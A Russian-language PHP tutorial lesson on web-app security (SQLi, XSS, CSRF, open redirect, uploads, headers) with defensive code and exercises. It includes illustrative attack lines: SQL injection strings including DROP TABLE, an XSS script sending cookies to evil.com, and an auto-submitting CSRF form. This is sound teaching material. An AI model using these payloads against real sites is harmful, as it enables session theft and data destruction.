Безопасность веб-приложения
Самые частые атаки на PHP-приложения - те, от которых легко защититься: SQL-инъекция, XSS, CSRF, open redirect, угон сессии, утечка данных через ошибки. Все они входят в OWASP Top-10 и встречаются в каждом первом легаси-проекте.
SQL-инъекция (SQLi)
Эта тема уже была в уроке 9 про PDO, но повторим главное: никогда не склеивай SQL и пользовательский ввод.
<?php
// КЛАССИЧЕСКАЯ ДЫРА
$id = $_GET['id'];
$pdo->query("SELECT * FROM users WHERE id = $id");
// атакующий шлёт ?id=1 OR 1=1 - получает всех пользователей
// или ?id=1; DROP TABLE users - удаляет таблицу
// ПРАВИЛЬНО
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $_GET['id']]);
Когда плейсхолдеров недостаточно
Имена таблиц и колонок плейсхолдерами не передаются. Если они зависят от ввода (?order_by=email) - только белый список:
<?php
$allowed = ['id', 'email', 'created_at'];
$orderBy = in_array($_GET['order_by'] ?? '', $allowed, true)
? $_GET['order_by']
: 'id';
$sql = "SELECT * FROM users ORDER BY $orderBy LIMIT 10";
Никаких «я просто экранирую и подставлю» - это всегда дыра.
XSS - Cross-Site Scripting
Атакующий вставляет в свой ввод JavaScript, который выполняется в браузере других пользователей. Канонический пример:
<?php
// если в комментарии пришло <script>fetch('https://evil.com?c='+document.cookie)</script>
echo "<div>{$_POST['comment']}</div>";
Скрипт выполнится у каждого, кто откроет страницу - может украсть cookies, изменить страницу, отправить запрос от имени пользователя.
Защита: экранирование при выводе
<?php
echo '<div>' . htmlspecialchars(
$_POST['comment'],
ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5,
'UTF-8',
) . '</div>';
htmlspecialchars превращает <, >, ", ', & в HTML-entities. Браузер увидит <script> и выведет его как текст, не выполнит.
Правила:
- Экранируй на выводе, а не на входе. Один и тот же текст может оказаться в HTML, в JSON, в атрибуте - кодировки разные.
- В шаблонах используй движок с автоэкранированием (Twig). Сырая интерполяция строк - путь к багам.
- Внутри JS:
json_encode($value, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT)- безопасно для вставки в<script>.
Атрибуты HTML
<?php
// ОПАСНО: пользователь может закрыть кавычку и добавить onerror
echo "<img src=\"{$_GET['photo']}\'>';
//
echo '<img src="' . htmlspecialchars($_GET['photo'], ENT_QUOTES) . '">';
ENT_QUOTES критично - без него двойные кавычки превратятся в ", а одинарные останутся как есть, и можно пробить атрибут через '.
URL-атрибуты
Для href/src ещё одна ловушка - javascript: URI:
<?php
//
echo '<a href="' . htmlspecialchars($_GET['next']) . '">далее</a>';
// если next = "javascript:alert(1)" - экранирование не спасает
// дополнительная проверка схемы
$next = $_GET['next'];
if (!preg_match('#^https?://#', $next) && !str_starts_with($next, '/')) {
$next = '/';
}
echo '<a href="' . htmlspecialchars($next) . '">далее</a>';
Content Security Policy
Глобальная защита от XSS - CSP-заголовок:
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'");
Запрещает inline-скрипты и загрузку с чужих доменов. Это «второй забор» - если экранирование где-то проёбано, CSP всё равно не даст выполниться чужому JS.
CSRF - Cross-Site Request Forgery
Жертва залогинена на твоём сайте. Атакующий заставляет браузер жертвы отправить запрос (через форму на своём сайте, через <img src>, через JS) - браузер прикладывает cookies жертвы, и твой сервер думает, что это легитимный запрос.
<!-- evil.com -->
<form action="https://yourbank.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="100000">
</form>
<script>document.forms[0].submit()</script>
Защита: CSRF-токен
В сессии сохраняется секретный токен, его кладут в форму скрытым полем. Атакующий не знает токен - отправить валидный запрос не может.
<?php
function csrfToken(): string
{
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf'];
}
function csrfVerify(): void
{
$token = $_POST['_csrf'] ?? '';
if (empty($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $token)) {
http_response_code(403);
exit('CSRF token mismatch');
}
}
В каждой форме:
<input type="hidden" name="_csrf" value="<?= htmlspecialchars(csrfToken()) ?>">
Перед обработкой POST/PUT/DELETE:
<?php
csrfVerify();
// дальше - действия с побочными эффектами
SameSite cookie
Современная альтернатива/дополнение - SameSite=Lax (или Strict) у session cookie. Браузер сам не пошлёт cookie с кросс-сайтового POST. Но не стоит полагаться только на это - SameSite поддерживают не все клиенты, и Lax всё ещё пропускает GET с куками.
Open redirect
<?php
// после логина шлём на ?redirect=...
$next = $_GET['redirect'] ?? '/';
header("Location: $next");
exit;
// атакующий шлёт ссылку yoursite.com/login?redirect=https://evil.com
// жертва логинится → мгновенно улетает на фишинговый сайт с похожим UI
Защита: только относительные пути или белый список
<?php
$next = $_GET['redirect'] ?? '/';
// разрешаем только локальные пути
if (!str_starts_with($next, '/') || str_starts_with($next, '//')) {
$next = '/';
}
// или строгий белый список:
$allowed = ['/dashboard', '/profile', '/orders'];
if (!in_array($next, $allowed, true)) {
$next = '/';
}
header("Location: $next");
exit;
//evil.com - это схема-relative URL, браузер интерпретирует как https://evil.com. Поэтому проверять только str_starts_with('/') мало.
Password storage
Только password_hash + password_verify (см. урок 19 про сессии). Никаких самописных солей, ни md5(password . $salt), ни «у меня же сайт маленький».
Раскрытие ошибок
В проде стек ошибок видеть никому, кроме тебя в логах:
; php.ini для продакшна
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php-errors.log
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT
И единый перехватчик:
<?php
set_exception_handler(function (\Throwable $e) use ($log) {
$log->error('uncaught', [
'msg' => $e->getMessage(),
'file' => $e->getFile(),
'line' => $e->getLine(),
'trace' => $e->getTraceAsString(),
]);
http_response_code(500);
header('Content-Type: application/json');
echo json_encode(['error' => 'internal_error']);
});
Пользователь видит «internal error», ты видишь стектрейс в логах. Никогда не выводи $e->getMessage() пользователю (об исключениях - урок 7).
Заголовки безопасности
Минимум для прода:
<?php
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY'); // защита от clickjacking
header('Referrer-Policy: strict-origin-when-cross-origin');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains'); // только HTTPS
header("Content-Security-Policy: default-src 'self'");
Проверить заголовки своего сайта - securityheaders.com.
File uploads
<?php
// путь из ввода - directory traversal
$dest = __DIR__ . '/uploads/' . $_FILES['avatar']['name'];
// генерируем имя сами, проверяем MIME
if ($_FILES['avatar']['error'] !== UPLOAD_ERR_OK) {
throw new RuntimeException('upload error');
}
if ($_FILES['avatar']['size'] > 2_000_000) {
throw new RuntimeException('too large');
}
$mime = mime_content_type($_FILES['avatar']['tmp_name']);
$allowed = ['image/jpeg' => 'jpg', 'image/png' => 'png'];
if (!isset($allowed[$mime])) {
throw new RuntimeException('unsupported');
}
$name = bin2hex(random_bytes(16)) . '.' . $allowed[$mime];
move_uploaded_file($_FILES['avatar']['tmp_name'], __DIR__ . "/uploads/$name");
Папка uploads/ не должна быть исполняемой: если туда положат shell.php, сервер должен отдать его как файл, а не выполнить. В nginx: location /uploads/ { types {} default_type application/octet-stream; }.
Как это в Symfony
Все эти защиты в Symfony - встроенные:
- Twig автоэкранирует все переменные по умолчанию (
{{ comment }}→ htmlspecialchars). Чтобы вывести raw HTML, нужно явно написать|raw. - CSRF protection автоматический для форм через
symfony/form+symfony/security-csrf. Невалидный токен → 403. - Security Component управляет login/logout, регенерирует session ID, хеширует пароли через
auto(bcrypt/argon2). - SecurityBundle добавляет заголовки
X-Frame-Options,Content-Security-Policyи т.п. черезframework.yaml.
Сам факт использования Symfony защищает от 80% дыр. Не использовать его средства защиты и писать вручную - главный источник уязвимостей.
Типичные ошибки
- «Это внутренняя админка, нам не страшно». Большинство утечек - изнутри: SSRF, XSS в инструментах саппорта, leaked credentials. Безопасность одинаковая везде.
- Экранирование на входе. Базы потом «застывают» с
<в значениях. Экранируй на выводе и в нужной кодировке (HTML / JS / URL). - Полагаться только на JS-валидацию. Клиент отправит что угодно. Валидируй на сервере.
strip_tags()как защита от XSS. Дырявое решение: атрибутыonerror, схемыjavascript:и UTF-8 хаки спокойно проходят. Используй полноценный санитайзер вродеezyang/htmlpurifier.- Логировать пароли и токены. В лог идут только идентификаторы (
user_id), никогдаpassword,Authorization,cookie.
Best practices
- Параметры запроса к БД - только через prepared statements с плейсхолдерами; имена таблиц и колонок из ввода - только через белый список, никакой конкатенации.
- Экранируй на выводе в нужной кодировке:
htmlspecialchars(ENT_QUOTES)для HTML,json_encode(JSON_HEX_TAG | JSON_HEX_AMP)для вставки в JavaScript. - Отключи
display_errorsна проде: пользователь видит «internal error», в лог идёт полный стектрейс сerror_log. - Выставляй как минимум четыре заголовка безопасности:
X-Content-Type-Options: nosniff,X-Frame-Options: DENY,Referrer-Policy,Strict-Transport-Security. - Безопасность одинакова для публичных и внутренних систем: XSS в инструменте саппорта или IDOR в админке бьёт так же больно, как атака снаружи.
Мини-задание
- Эндпоинт
/search?q=...- выведи введённое в<h1>черезhtmlspecialchars(ENT_QUOTES, 'UTF-8'). Проверь, что<script>alert(1)</script>показывается как текст. - Эндпоинт
/transfer(POST) - добавь CSRF-токен в сессии и проверкуhash_equals. Запрос без токена → 403. - Эндпоинт
/loginпринимает?next=.... Защити от open redirect (разреши только пути на/, отбрось//evil.com). - Глобальный
set_exception_handler- в проде возвращает JSON{error: 'internal_error'}, в dev - стектрейс. Различай поgetenv('APP_ENV'). - Добавь во все ответы заголовки:
X-Content-Type-Options,X-Frame-Options,Referrer-Policy,Strict-Transport-Security.